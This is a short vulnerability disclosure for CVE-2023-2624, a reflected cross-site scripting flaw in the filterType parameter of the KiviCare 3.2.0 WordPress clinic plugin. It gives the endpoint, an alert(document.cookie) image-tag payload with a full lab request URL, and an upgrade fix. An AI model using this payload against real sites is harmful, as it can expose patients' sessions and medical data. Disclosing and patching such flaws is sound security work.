WordPress KiviCare 3.2.0 Cross Site Scripting

# Exploit Title: WP Plugins KiviCare 3.2.0 - Reflected Cross-Site Scripting# Date: 03-10-2023# Exploit Author: Arvandy# Software Link: https://wordpress.org/plugins/kivicare-clinic-management-system/# Vendor Homepage: https://kivicare.io/# Version: 3.2.0# Tested on: Windows, Linux# CVE: CVE-2023-2624# Product DescriptionKiviCare is the most affordable self-hosted clinic and patient management system based on the WordPress platform. Set up your online clinic in no time. Ref: https://kivicare.io/# Vulnerability overview:The Wordpress plugins KiviCare - Clinic & Patient Management System (EHR) <= 3.2.0 is vulnerable to reflected cross-site scripting via the filterType parameter in the get weekly appointment function. This vulnerability could allow a malicious actor to inject malicious scripts.# Proof of Concept:Affected Endpoint: /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_weekly_appointment&filterType=Affected Parameters: filterTypeXSS Payload: <img src=x onerror=alert(document.cookie)>http://192.168.56.115/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_weekly_appointment&filterType=%3Cimg%20src=x%20onerror=alert(document.cookie)%3E# RecommendationUpgrade to version 3.2.1